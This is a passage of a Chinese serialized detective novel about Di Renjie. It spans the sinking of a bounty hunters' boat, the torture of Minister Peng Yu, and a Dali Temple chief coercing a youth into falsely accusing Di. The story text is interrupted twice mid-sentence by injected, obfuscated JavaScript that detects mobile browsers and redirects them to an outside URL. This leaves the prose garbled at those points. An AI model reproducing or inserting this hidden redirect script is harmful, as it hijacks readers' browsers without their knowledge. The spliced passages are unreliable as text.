“妈的,你们不早说,早知道今儿饭里就给他们下点儿砒霜什么的毒死得了。” “现在弄死也还来得及。” “可那韩忠义武功那么高,不好下手吧。” “明的来不了,咱就来暗的呗。” “欸,咱就算再送一辈子货儿,怕也挣不得这许多吧。” 说着一众笑将起来。 胡乐听了,又惊又怒。 正不知所措,听他们又道: “抓活的赏银能多点儿吧。” “得了,谁有本事抓活的?死的也值钱。通缉令上又没说一定要活的。” “我看还是明儿给他们饭里下毒吧。” “恐迟则生变哪。” “要不先杀了那几个没武功的?” “可韩忠义、马肃跟他们在一块儿,不好下手啊。” “那就放火儿烧死他们。” “烧死都成灰了,谁又看得清他们长什么样儿?到时还是拿不到赏银。” “反正趁他们不备,把他们都给杀光,什么办法都行。” “我有主意了,待他们其中一个没武功的出来小解时,就比如说那个肥矬子,我们便趁机抓住他,再用他来威胁其余的,就好办了。” 胡乐听了,魂飞天外,不觉“啊”的叫了一声。 舱内二十余人都听见了,说声:“来了!” 登时舱门一开,齐冲将出来,扑到胡乐身上。 胡乐被按住在地,怒叫:“你们一群王八蛋!我们还救了你们,你们这么黑心,要害我们!” 众人二话不说,用绳子将胡乐捆成一团,又用菜刀架在了他脖子上。 狄仁杰几人早听见了,一齐冲出来,见了情形,大吃一惊。 胡乐大叫:“老爷!你们快逃吧!他们要杀我们呀!” 韩忠义道:“你们莫不也是为了那赏银?” 那二十余人道:“不错!韩忠义,你是自我了断呢,还是眼睁睁看着这肥矬子被杀?” 韩忠义怒指道:“你们不要把我逼急了!” 马肃方上前一步,众人便忙叫:“马肃、韩忠义两个都别动!我们知道你们武功高,快退后!再敢上前一步,就把肥矬子剁成肉酱!” 胡乐挣脱不开,大叫:“孙子们!有种的就剁了老爷我!不剁不是人!来呀!我反正是活腻了!哈哈!哈哈哈!来呀!杀我呀!” 狄仁杰道:“你们先把他放了,我自尽。” 众人冷笑道:“你自尽?你算个什么狗屁?杀你容易得很!叫马肃、韩忠义两个自尽!” 马肃道:“朋友们……” 众人叫道:“谁是你朋友?” 马肃叹了口气,道:“你们听我一句劝,做人还是要有良心的,不能……” 众人哈哈大笑道:“去你妈的狗屁良心!我们只要黄金!” 韩忠义道:“能讲出这种话来,你们以为你们还是人吗?” 众人道:“人?要没钱怎么做人啊?啊?你们就了不起了?不也求名吗?你们求名,我们求利,你们就配说我们错了?” 狄仁杰道:“求名求利都没错,错的在于伤害他人以利己。” 众人冷笑道:“你就是当宰相的?怎么说的话像放屁?” 马肃指着怒道:“你们不许这样说狄公!我们怎么得罪你们了?倘若我们今日没有出手相救你们,你们早都被水匪给杀了!” 二十余人中,一个老者忽道:“是啊,我们不能这样做,太没良心了!” 其余人看着他道:“你又说良心?你到底想怎么样?” 那老者道:“我不知道,但是我觉得,这样做不对。” 其余人皆哼哼冷笑,道:“这么说,你是不肯帮我们咯?” 那老者道:“反正不能这样做,我要把这小子给放了。”说着,就要去解胡乐的绳子。 突然几把菜刀同时砍向那老者,听他惨叫一声,血流如注,当场毙命。 其中一个年轻人叫道:“喂!怎么能就这样杀人啊!” 众人不待他说完,又是几把菜刀砍去,年轻人亦气绝。 另一个老者大叫:“疯了!疯了!你们都疯了!说是只杀狄仁杰他们几个,你们怎么乱杀人哪!” 众人狞笑道:“你也下去陪他们吧!”又是菜刀砍去,血溅当场。 众人大笑道:“少了仨,咱各人就能多分点儿黄金喽!” 狄仁杰几人惊得目瞪口呆,鹃儿当场吓昏了过去。 众人指着韩忠义、马肃道:“我们现在数到三,你们俩再不自尽,我们立刻就砍死这肥矬!” 韩忠义道:“你们要是敢动他一根手指头,我杀光你们所有人!” 众人大叫:“好!那我们立刻杀了他!”说着,挥起菜刀。 韩忠义忙叫:“不要!” 众人大叫:“快自尽!” 胡乐大叫:“王八崽子们!你们杀了我!” “一!” 狄仁杰叫道:“人在做天在看!” “二!” 马肃叫道:“为了这虚无的钱财断送了自己的性命不值得!” “三!” 韩忠义大喝一声,飞也似的向众人冲来。 众人大叫:“我们完蛋啦!快杀了这肥矬!” 十几把菜刀同时砍向胡乐,见他眼一闭,哈哈大笑起来。 说时迟那时快,韩忠义使出“无影拳”,如疾风骤雨之势,连环冲击,众人一齐倒下,菜刀掉得满地都是。 忽听得船底传来咚咚咚的巨响,不久又听见水声。 月光映在江面上,只见十来个人一面泅水,一面大笑道:“凿了你们的船,你们就都等死吧!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051971|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其中一人大叫:“记住老子我!老子我是赫赫有名的‘蛟龙王’!哈哈哈!兄弟们,撤!”转眼间,十几人潜入水中,不复见。 众人大声叫苦。 韩忠义道:“这是你们自作自受!” 江水灌入船内,船立时摇晃起来,向下沉。 众人跪下来哭叫道:“狄大人哪!我们错啦!我们不要什么黄金啦!我们不想死啊!救救我们哪!” 狄仁杰忙道:“快将沉重之物都丢下江去!” 众人忙叫:“不能丢啊!没了货儿就亏了本儿啦!” 韩忠义道:“你们要钱还是要命?” 众人道:“要钱!” 胡乐道:“命都要没了,钱有个屁用!” 众人想了想,道:“那还是要命吧!” 遂一齐将货箱桌椅等物丢入江中。 无奈船底洞口太大,江水兀自不住地涌进。 船晃得愈加厉害,东倒西歪,诸人在船板上如球一般的滚来滚去,叫喊声震天动地。 胡乐叫道:“喂喂喂!我绳子还没解开呢!” 一人忙爬来解开,一面哭道:“大爷,我们错了!你大人不记小人过,救救我们吧!” 胡乐笑道:“求俺没用,要求龙王!” 众人有的抓住桅杆,有的抓住旗帆,有的抓门,有的抓窗,有的抓住一个有抓住什么东西的其他人,有的抓住了空气,立时摔入了冰冷的江里淹死了。 一片天翻地覆中,狄仁杰几人亦是各抓各的。 狄仁杰叫道:“鹃儿昏迷了,千万要抓牢她!” 胡乐“哎哟”一声道:“妈呀我头撞到了啥。” 马肃叫道:“韩大哥!保护好狄公他们,我没事儿!” 狄宁道:“我也是。” 韩忠义在船边拉着即将掉下去的鹃儿,胡乐在另一头大叫:“韩忠义!你他妈的千万不能放手啊!鹃妹妹死了,我跟你拼命!”一面爬来一齐将鹃儿拉了上来。 听得四周叫喊求救之声不断,一个一个掉下船去,扑通扑通落入水中。 不一时船已沉到了江面上,水一下子灌将进来。 除了狄仁杰六人,其余幸存的还有七八个,见水已没过腰了,都望着狄仁杰他们道:“怎么办啊?我们都不识水性,要淹死啦!” 韩忠义道:“你们一群水手船家,做生意的,成日过江走水路,竟然不识水性?说来谁信?” 那些人道:“没人信。” 他们又叫:“可说到底这都怪你们!” 马肃道:“是你们先来害我们的,最终却害了你们自己,倒怪我们?天底下有这个理?” 胡乐叫道:“完啦!死啦!” 那些人笑道:“得了,死就死了!至少你们几个也活不了,跟我们一起陪葬!哈哈哈!” 韩忠义道:“你们这么恨我们,是什么缘故?好人到头来就这个下场,谁还敢做好人?” 那些人道:“不是你们一群狗崽子赶走了水匪,他们会来报仇凿船?不怪你们怪谁?” 韩忠义怒道:“王八蛋,你们说的这是人话?见你们快被水匪给杀了,我们才出手相救你们,倒对不住你们了?谁知道他们会来寻仇?看来我们真是多管闲事了!” 水已没过了诸人胸口。 胡乐矮小,已没过了鼻子,只得跳起身来呼吸。 狄仁杰忙叫:“快将桅杆砍下来!船快沉了,继续待着我们都得死!桅杆较为轻便,可以漂浮在水面上!” 韩忠义、马肃二人虽武功高强,然如今身在水中,下身仿若有千斤重,丝毫动弹不得。 正惶急间,见那些人离得桅杆近,只是手中没有器具。 韩忠义、马肃齐道:“我们有剑,你们接着!” 将武器扔过去的却只有马肃,因为韩忠义还是舍不得那把“凌云宝剑”。 虽然就马肃一把剑,也够用了。 那些人忙接了。 狄仁杰道:“此刻危难之际,我们当同心协力方能得救。” 那些人也不答,拔出剑来便狠命砍桅杆。 一时砍下,桅杆漂浮在水面上,那些人离得近,都扑上来抓住。 韩忠义叫道:“我们也来!” 那些人大笑道:“你们死去吧!” 韩忠义大怒,却也无可奈何。 胡乐一面跳,一面骂道:“你们……一群……王……八……蛋!” 忽听得惨叫声,却是那几人因为人多过重,桅杆快沉了,于是都为了活命,互相残杀了起来,杀到只剩下了一个人。 他哈哈大笑道:“就我活了下来!”说着,手一滑,摔进水里淹死了。 那桅杆正好漂到了狄仁杰几人身旁。 六人连忙抓住桅杆。 胡乐喘道:“妈呀,差点儿憋死我了。” 鹃儿被水呛醒,道:“船怎么沉了?发生了什么呀?” 几人叹道:“一言难尽啊。” 那大船早已沉入了江中。 胡乐打了个哈欠道:“累啦,睡会儿。” 韩忠义忙道:“千万别睡!摔下水去没人救你!” 胡乐忙道:“哦,是是是,哎我都糊涂了。” 韩忠义笑道:“我看你是‘脑袋进水’了!” 几人听了都笑将起来。 突然,那桅杆从中间裂成了两半,朝不同的方向漂去。 一半是狄仁杰、韩忠义二人,另一半是马肃、胡乐、鹃儿、狄宁四人,各皆大吃一惊。 狄仁杰忙叫:“我们到时候在‘秦州刺史府’那儿会合!记住,秦州刺史府!” 马肃几人叫道:“明白了!” 于是都消失在了漆黑的江面。 26. 第二十六章 审讯 在一个幽暗又封闭的房间里,点着几盏油灯,因为没有一扇窗可以照亮。 空气非常地憋闷,几乎可以说是极度缺氧,让人在这里多待上一阵,脑袋立刻就会胀痛起来,肺部也会很难受,让人喘不过气,可以活活闷死在这里。 点燃的油灯照在被黑暗笼罩的房间的四周,一片片黯淡的微光照出了桌案上、架子上、墙壁上摆放的一排排令人毛骨悚然的刑具。这些刑具各种各样,都在静止中恣意地展示着它们的恐怖。它们不但是用上的时候会让受刑的人皮肉痛苦,就是一动不动地摆在面前,也已经先摧垮了人的意志,让那些比较软弱的人,还没有被用刑,就已经全部招供了。这是审讯人惯用的伎俩,屡试不爽。 现在有个人,身体被绑在了一个木头柱子上,两个手臂也被拴在了木头柱子的左右两旁,正披头散发,低着头,在那里一动也不动,呼吸非常缓慢,似乎已经快死了。他身上穿着已经被鲜血染红了的白衣服,下半身是棕色的已经破烂了的裤子,也是血迹斑斑。 他早已被无数次抽来的鞭子打得皮开肉绽,几乎是遍体鳞伤、体无完肤,身上到处都是血痕,已经把他变得没有人样了。他已经痛到都习惯了,再抽来一次鞭子,似乎也不会觉得有多痛了。 这个人,至今还没有招供。 他之所以宁愿忍受酷刑也不招供,不是因为他比较勇敢,更不是因为他有什么高尚的信仰。相反,他是一个懦弱又贪生怕死的人,根本就没有任何信仰,反倒腐化堕落,甚至卑鄙无耻。但也正是因为,他是个贪生怕死的人,所以他才一直缄口不言,拒不招供,坚决不去回答这些逼问他的人,更不能让他们知道,他们想要从自己身上得到的那个答案。 为什么呢?因为他知道,如果他说了出来,那么自己肯定活不成。 现在自己对于他们来说,唯一的价值,就只剩下这件东西了。而这件东西他们一旦得到,自己就会变得完全多余,那么结果就只有一个:被杀人灭口。 所以,他坚决不说,拼了命也要挺住,否则一旦开口了,下一秒就不是疼痛,而是死亡。反之,只要他不说,那些人就不敢杀他。因为只有他知道,这件东西的下落。一旦他死了,这件东西可就难找了。 这时阴暗的房间里除了他以外,还有两个人。其中一个壮汉长得很凶,是专管上刑的,就立在旁边,恶狠狠地瞪着绑在木柱上的那个人,也不说话。还有一个是专管审问的,面无表情,冷冷淡淡,但是有股狠劲隐隐地透露出来,让人觉得更加不寒而栗。 “彭羽,你还是不肯说吗?”那个审问的语气低沉,却狠劲十足。 木柱上绑的那个人,正是兵部尚书,彭羽。 他自从那天晚上被歹徒下药以后,整个人就昏了过去,虽然在昏迷之前,亲眼目睹了自己的一家人惨遭杀害,但在昏迷之后,究竟发生了些什么,就再也不知道了。直到再次睁眼醒来,已经是身处这间昏暗的房间,一直到如今,再也没有出去过。他不知道这是什么地方,是否已经出了京城,是在哪里,他完全不知道。但他知道,自己可能真的没救了。不会有人再来救自己了。他绝望了。 他这时候刚刚睡着不久,几个时辰之前还受了刑,伤口处如烧灼一般疼痛,浑身上下都难受得要死,空气还憋闷,他们又不给他饭水吃,又渴又饿,脑袋昏沉,整个人好像在地狱里受煎熬。这时候他好不容易睡着了,就好像得到了片刻的解脱,可以忘记痛苦和烦恼,获得一点安息。 “哼,睡着了,”那审问的冷笑道,“把他给我泼醒。” 那壮汉登时抬起一桶冰凉刺骨的冷水,朝木柱上的彭羽直泼将去,把他吓了一大跳,“啊”的大叫一声,整个人瞬间清醒了过来,浑身上下冷得直打颤,一脸惊讶地望着面前的两个人,不停地喘着气,差不多都要哭了出来。 “以后有的是时间睡觉,”审问的冷冷道,“现在,再问你一次,那件东西在哪儿?” “我……我不知道……”彭羽浑身颤抖着说。 “不,你知道,皇上把那件东西亲手交给了你,你怎么会不知道呢?” “我……我真的不知道啊……” 审问的跟那个壮汉互看了一眼。 “你还在嘴硬。”审问的终于有些不耐烦了,“你以为我不敢杀你吗?” 彭羽闭着眼,颤抖着,不说话。 “其实,你就算不说,我也知道。” 彭羽不理睬。 “那件东西,就在你的府上。” 审问的说完这句话,见彭羽睁开了眼。 “哼,看来就是了。”审问的道。 彭羽突然看着两个人哭了,“你们饶了我吧。” “只要你说出那件东西的确切位置来,我们就饶了你。” “我不信。”彭羽摇头道。 “不信也可以……” “不,”彭羽忙道,“我信。” 他已经被折磨得崩溃了,再也受不了了,于是便说了出来。 ...... 夜。 漆黑的夜,没有风响。 彭府乃作案现场,早已被朝廷下令封锁,闲杂人等不可随意进出。虽然之前有许多守卫在门口看守,以免有人擅闯,在里面进行破坏,但如今,守卫早已被撤走,只因朝廷对彭府一案,已经没有先前那么在乎了,所以要把守卫的钱财省下来,用到更重要的事情上,而不是在一个解决不了的悬案上,继续没有意义的浪费人力物力。 再大的案件,就比如这次彭府灭门一案,虽然也算够大了,但也都过不了多久,便会不了了之了。这是世间常态,没什么稀奇的。任何一件事,新鲜感一过,就成了过往了,也就没那么多人在乎了。至于真相什么的,刚开始或许还有挺多人想知道的,毕竟人都有好奇心。但事后过了很久,你就是追着告诉一些人,这件当时的新鲜事,究竟是怎么一回事,他们都未必愿意听,因为又有新的“新鲜事”可以让他们关注了,所以他们对过去的那些“新鲜事”也就不感兴趣了。 彭府的大门是紧闭的,上面贴了封条,不许外人入内。里面的尸体早已都拿去埋葬了,现场的血迹也都处理干净了,院落厅房各处都是一片空荡荡,没有人,没有灯,没有声响。 这时,一片漆黑中,有一个黑影忽地闪过。 这个黑影非常迅速,没有任何声响,不知什么时候,已经身处彭府院内了。 黑影穿过一片游廊过道,刚刚准备来到一间屋子前,突然意识到不对劲,连忙回头一看,只见四面八方屋檐上,有许多黑影。 “抓贼!”一片喊声中,四面八方同时响了起来,是兵器的声音。 许多人同时从屋檐上跳了下来,朝这边冲了过来。 一个人大吃一惊,被一群人扑倒在地。 那个人正想大叫,只听得一声:“带走!”便身不由己,被他们带走了。 房檐下的阴暗处,一个黑影缓缓走了出来。 ...... 这是一个灯烛辉煌的大厅堂,四面八方都被灯光照得通明,一片亮堂堂如同白昼,甚至比白天还要亮。到处都是高大的书架,一排排相连在一起,上面摆满了各种档案和资料、竹简和卷轴,浩如烟海,可以用壮观来形容。书架的旁边摆着许多很长的桌案,上面有一大堆摊开来的书籍,还有文房四宝。 这时候一群人围在厅堂的正中央,一个椅子的四周。这个椅子是楠木做的,质量不差,上面坐着一个人,是一个十五六岁左右的年轻人,长得挺瘦,个子也不高,瞪着两个眼,有些发懵,环视着围在自己四周的这些人。 他们有的面无表情,有的面带冷笑,有的恶狠狠,各种各样,但可以肯定的是,他们一定是官府的人,不然前面那个一脸拽样的,怎么会穿着官服呢?还有旁边许多人,都是刚才埋伏在彭府的屋檐上抓人的那些,他们都劲装结束,身手也很厉害,像是当差的。 这时那群人都不说话,空气中一片静寂。他们都盯着椅子上的这个年轻人,也不问他什么,就这么看着他,把他看得有些害怕了,不由得先向他们开口说话。 “各位官爷……”那年轻人一面站起身来,刚刚才开口,突然就被左右两旁的人按住肩膀,把自己给按了下来,又坐回了椅子上。 “好好坐下,不要乱动。”他们其中一个淡淡道。 那年轻人吓得不敢动了。 “好,好,好,我来问你啊,”前面那个穿着官府,一脸骄傲的人开口道,“你大半夜出现在彭府,干吗去呀?” “我……” “哦,你不想回答,那好,”那人道,“那你死定了。” “不不不!”年轻人连忙叫道,“我说,我说!” “嗯,说吧。” “我……这怎么说呀?”年轻人挠头道。 “先说名字。” “小的我,叫唐强。” “就你这名字,就该杀头!”那人指着他大叫。 年轻人吓一大跳,目瞪口呆,莫名其妙。 “现在什么年代了,还敢叫‘唐强’?!要叫‘周强’!” “我……什么意思呀?” “什么意思?!现在是大周国,不是大唐国,你听不明白?!” “哦,”年轻人忙道,“我明白了,从今以后我就改名姓周,不姓唐了。” “你也配姓‘周’?!”那人喝道,“‘周’是什么玩意儿你知道吗?!那是当今天子的国号!你算个什么东西,也配姓‘周’?!” “那我怎么办哪!”年轻人叫道。 “你就继续姓唐,不过改名叫‘弱’,叫‘唐弱’。” “好吧,好吧,到时候有机会改吧……”那个叫唐强的年轻人只好这么说。 “我问你,你深夜来到彭府作案现场,是去做什么?你赶紧的给我回答,不然你就死定了!” “我说,我说,”唐强道,“是这样的,我有个哥哥,在彭府里做小厮,他……他前段时间遇害了,就是彭府那事儿,他就死在那儿了,所以我,想去找他的尸体,然后,把他带回老家,顺便……” “顺便什么?” “顺便,拿点银子。” “银子?哪儿来的银子?” “在我哥身上。” “你哥身上为什么会有银子?” “他生前经常都随身带点银子,到城中买点好吃的给我带来,所以我知道,他身上应该还有点银子,我想拿了当路费,把哥带回家去,给妈瞧瞧。她老人家,听说彭府出事儿了,知道我哥在里头,哭得眼睛都快瞎了,所以我想,让她最后见上我哥一面,就进了城,今天刚到,偷偷地进了彭府。” “彭府大门都已经锁上了,你怎么进的呀?” “彭府墙角,一个树丛挡住的地方,有个洞,只有我和我哥知道,他以前就经常偷偷地从洞里爬出来,到城里买些好吃的东西,叫我带回去跟妈一起吃。他很想念妈,但家里没有钱,他知道彭府拿的工钱多,于是趁年轻,就到那儿干活去了。我就是从洞里爬进去的,就被你们给当贼抓着了。” 那些人都互看了看。 “哼,简直是一派胡言!”其中一个道。 “我说的都是真话。”唐强有点难过的样子。 “你既然要去找你哥哥的遗体,为什么要偷偷摸摸地去,而不是先去报告官府?” “报告你们,你们会答应吗……” “你是今天才来的?”其中一人问道。 “是啊,”唐强道,“我和我妈过了好久才听说彭府出事儿了,所以现在才来。” “那么之前那个人,不是你了?” “之前谁啊?” “你装什么装!”另一个喝道,“不是你又是谁!” “我怎么啦!”唐强叫道。 “之前就有人夜间潜入彭府,那个人到底是不是你?”前面那个又问。 “我没有,我真的今天才到。” 众人又互看了看。 “你们到底是谁啊?这里是什么地方?”唐强问他们。 “这里是大理寺。” “大理寺?这里是大理寺?” “你知道大理寺是做什么的吗?” “听说是查案的。” “是的,所以你也不用怕。我们问你什么,你就只管答。如果你真的没问题,明天就可以让你走了。但如果你不配合,那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051972|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就有点复杂了。” “我配合,我配合。”唐强连忙道。 “你不要紧张,再问你几个问题。” “官爷们请问。” 他们于是问了他些各种各样的问题,比如他的家乡住址,到京城的路程,用了多少时间,什么时候到达,几时进了彭府,又确认了那个墙角被树丛挡住的洞口。 “查。”早有人飞奔出了厅堂。 “这么说,那个人真的不是你?” “不是我,真的不是我!”唐强有些紧张,“我哪里知道还有别人呢。” “那你知道你哥哥的遗体在彭府中什么地方吗?” “问题就是我刚来,所以我不知道啊。” “那你对彭府的内部了解吗?” “不了解,我没有真正进去过。” “那你觉得,找一个遗体,应该去哪里寻好啊?” “应该去……院子里吧。” “那你到书房去做什么?” “我没到书房啊。” “你被抓的时候,就在书房门前。” “我……我不知道啊。” “你为什么出现在那?” “太黑了,我看不见,我也不知道我在哪。” “你应该知道,那里至少不是院子啊。” “我看哪里都像院子啊。” “你再想想你到底为什么去那里?” “我不是说了嘛,找我哥的尸体啊!” “你哥的尸体在哪里?” “我怎么知道!” “你不知道你去那里干什么?!” “我不知道啊!”唐强急得从椅子上跳了起来,又被人给按了下去。 “你为什么这么紧张?” “你们干吗老问我这些问题啊!” “你为什么不回答?” “我不知道!” “那么前面那个人到底是不是你?” “你们说的是谁啊,我怎么不明白呢!” “现在就是在问你,那个人到底是谁。” “我……” “是你?” “不是我!”唐强急得大叫。 “那你为什么说‘我’?” “我没有啊!”唐强双手抱头,大喊大叫。 “你现在紧张什么?” “你们别问啦!我要疯啦!”唐强大叫道。 “你如果没问题,你为什么要疯?” “被你们给逼疯!” “那个人到底是不是你?” “什么人呢?!” “如果我们知道,还用问你吗?” “那我怎么知道!” “因为你出现在彭府,所以你有嫌疑。” “我哪里知道会这样!” “你哪里知道会怎么样?” “会被抓!” “那你又为什么要来?” “为了找我哥的尸体!”唐强声嘶力竭地大叫。 “那你为什么不到院子里找?” “我不知道院子在哪!” “那你怎么会知道书房在哪?” “我怎么知道书房在哪?” “那你怎么到的书房?” “我也不知道怎么到的书房,好不好!”唐强快疯了,“太黑了,太黑了,我看不见,我看不见!我不知道在哪里!” “那你怎么进的彭府?” “从墙角的洞里!” “你怎么知道洞在那里?” “我哥告诉我的!” “不是这个意思。” “那你什么意思?!” “你说太黑了,看不见,那你怎么找到洞口的呢?” “我不是知道它在哪吗?!” “你虽然知道它在哪,但你看不见啊,你怎么找到的呢?” “我凭感觉啊!” “为什么洞口可以凭感觉,院子不行呢?” “因为我不知道院子在哪啊!” “对啊,那么院子在哪呢?” “我不知道啊。” “那你进彭府做什么呢?” “我干吗我也不知道,哈哈哈!” “你进彭府,不是为了进里面的院子,找你哥哥的遗体吗?” “我不知道我哥哥的遗体在哪!” “那你进彭府,不是因为你哥哥的遗体了?” “是因为我哥哥的遗体!” “那你怎么知道你哥哥在彭府?” “我哥哥就在彭府!” “那你怎么会不知道你哥哥的遗体在哪?” “我知道啊!在彭府,在彭府,在彭府!你们满意了吗!” “满意了。” 唐强差不多已经疯了,他们的审讯也就差不多结束了。 这时有人回来了,“报告寺卿,确实在彭府的某处墙角发现了一个被树丛遮挡的洞口,大小正好够一个人爬进去。” “你们看,你们看,我没有骗你们!”唐强跳起来大叫。 “坐下,坐下,坐下,不要着急!” “我不急,我不急,我哪里着急,我哪里着急!” “你看你多着急啊。” “我着急什么,我着急什么!我很有问题啊,你们问吧,你们问吧!” “现在问题是,你已经这么做了。” “我做什么了,我做什么了!” “就算前面那个人不是你,你也偷偷地进了作案现场。” “那又怎么样!” “那就是死罪。” 唐强大吃一惊,目瞪口呆。 “我不想死,我不想死……”他不停地说。 “只有一个办法,可以救你。”大理寺卿宇文豪说道。 “什么办法?”唐强问。 “你去指控一个人,一口咬定,是他指使你这么做的。” “指控谁?” “当朝宰相,狄仁杰。” 彭府的一间书房,黑暗之中,有一个黑影,手中拿着一张纸。月光从窗口照了进来,照在了这张纸上。上面是图画,标题写着几个字:“洛阳城暗门密道图。” 27. 第二十七章 指控 寺丞卜裕正烦躁不安地在大理寺中堂前面的小院子里来回踱步,不停地走来走去,从这一边走到那一边,从门前的台阶一直走到枫树底下,又从马厩走到石头桌椅前,再沿着石墙绕圈子,在白石铺就的地板上从左到右,从东到西,从南到北,从头到尾,一直走,一直走,进了中堂又出来,出来了又进去,沿着台矶上上下下,不知来回走了有多少回,但他也丝毫没有感觉到累,因为他的脑袋现在非常非常地乱,非常地乱。 他有时垂着首,有时又仰起头,有时背着双手,有时又晃来晃去,紧皱着眉头,深深地叹气,整个人的心情非常郁闷,感到非常地痛苦,甚至可以说是非常地无奈。 他到现在虽然都还没有开口说过一句话,可坐在前院石桌前石头椅子上的屈福却已经深知他烦恼的原因了。 现在是大白天,天气还不错,有阳光。 卜裕突然又望向院落里墙壁上画的、那个传说中的神兽,獬豸。 这个獬豸,小的长得有点像羊,大的有点像牛,整体类似麒麟。它浑身上下都是黝黑的毛,头顶的正中长有一个独角,两个眼睛炯炯有神,明亮到似乎都在发着光,还有个短尾似蜗牛的,蹄子也像是羊蹄。 听说这个獬豸,极其聪明智慧,懂得人言,也知晓人性。它那两个圆睁的怒目,能够清楚地辨别人间的是非曲直、忠奸善恶,并且它站在公正的那一方,用头上的独角去撞击那邪恶的一方。所以它成为了勇敢和公正的象征,尤其是代表了法律的公正。 不但大理寺的好几个大门口蹲着好几个铜铁铸成、或者是用石头雕刻而成的獬豸塑像,而且连大理寺内部的各处院落里的墙壁上都画满了各色各样色彩斑斓的独角兽,让人觉得极具威严气派,到处都是公公正正的感觉。 卜裕这时候颤抖着手指,指着那墙壁上画的獬豸,用非常失望的眼神,痛苦地看着它,说道:“公正,公正,哪里有什么公正!” 屈福坐在石椅上,低着头,皱着眉,也是一脸无奈,左手握在膝盖上,右手胳膊肘支在石桌边,这会儿听卜裕抱怨了这么一句话,便抬头看了他一眼,又转过头去,无奈地叹了口气。 卜裕情绪激动地说完那一句话,也叹了口气。 院子里,寂静了片刻。 “你也不要着急,”屈福跟他说道,“我们还可以慢慢想办法。” “想办法?”卜裕紧皱着眉,回头道,“还有什么办法好想的?” 屈福又叹了口气。 “你看看,你看看,”卜裕道,“这次是我犯的错呀。” “这不是你的错。”屈福道。 “就是我的错。”卜裕加强语气说道,“如果不是我出的主意,怎么会搞成这样?” “这不怪你。” “怪我,怪我,就怪我。”卜裕说道,“我没想到会这样,我没有想到会适得其反,我不知道会……会把事情变得更糟,会变成现在这样的局面。” “这实在是难料啊。”屈福道。 “其实并不难料。”卜裕冷静了些,“我早该想到,没那么容易。想要抓到那个真凶,并没有我想象的那么简单。而我呢,我以为设了一个局,就可以抓到那个人,然后顺藤摸瓜,说不定连幕后黑手是谁,还有整个阴谋的真相,都能查个一清二楚。但我没有想到的是,宇文寺卿他,根本就不想知道真相。他只想着一件事,那就是随便找个替死鬼来,赶紧把彭府一案了结了。这就是他想要的结果,而不是什么查清真相,抓获真凶,替死者报仇,给受冤屈的人,像狄阁老这样的,平反昭雪。” “是啊,就像阚老爷子说的,什么真相,并不重要,重要的是,上面的人,想要看到什么样的结果。” 卜裕也在石头椅子上坐了下来。 “当时我就料定,”他说道,“彭府里肯定还隐藏着什么秘密,所以当夜的劫杀绝对不是结束。那么秘密如果还在彭府当中,作案者必定还会回来。” “你当时这么想的依据是什么?”屈福问道。 “首先,”卜裕道,“当夜发生在彭府的劫杀,给作案者的时间并不多,所以他们要赶在第一场大雨停止之前,就结束他们的行动。但这个行动何等复杂,单单是杀害一府上百号人,就得耗费多少时间,又哪里还有空闲去找寻一个什么秘密,我当时假设如果它确实存在,而且就存在于彭府当中,并且作案者还知道这个秘密在彭府当中的存在,并且他们也想要得到它。这么看来,他们当夜的行动,在我的假设当中,不包括去找寻这个秘密。而如果他们想要找,当夜却又没找,是因为时间不够的缘故,那么之后他们有没有可能再次回到作案现场,去找寻那个秘密呢?我当时就想到,完全有这种可能。但毕竟,这一系列的可能性,都是建立在我的假设和猜测之上的。如果我的假设和猜测本身错了,也就是说,根本就不存在那个什么彭府中的秘密,那么他们就肯定不会再回来了,因为他们没有再回来的理由,而且就算是真的又回来了,那么也不是为了这个我假设的秘密,那么他们回来的原因,就变得很奇怪了,很难理解了,而这种不是为了秘密而回来的假设,我不去做,因为意义不大,而且我敢差不多肯定,他们作案如此缜密,只要再次回来,就一定存在着目的,不论是否是为了秘密。而现场他们无须多加处理,因为已经是如此了。因此,我觉得这个我假设的秘密的存在,是最合理的,如果他们真的要再次回来,就是为了这个秘密。” “后来我思来想去,”卜裕继续说道,“觉得他们确实有很大的可能回来,因为这个秘密的存在。我于是越来越确定了,这个秘密是真实存在的。为什么呢?因为他们这次的行动,目的不会如此简单。我不相信彭府一案的本身有那么简单,除了被杀害的家人,被劫走的彭羽,没有任何其他的意义了。而这个意义,一定关联着彭府本身,那么如果一件东西,甚至比人还重要的东西,它确实存在了话,那么它一定存在于彭府当中。这么看来,彭府是他们必须要再次回来的地方,因为那个作案的灭门和劫杀的表象外的另一个意义和目的,迫使他们必须再次回到作案现场,来完成他们行动的最后一部分,也就是盗取彭府中的一个物件,我称它为秘密,因为我不知道那究竟是什么物件,但它的重要性可想而知。所以说,他们如果该来,还是会来,而且不会过得太久,否则这个秘密会被人提前找到,或者会被朝廷查抄,然后他们就失去了盗取的良好时机。因此,我当时基本料定,在一个夜深人静的晚上,会有人,而且应该不会太多人,甚至就一个人就够了,来盗取这个彭府中的秘密。” 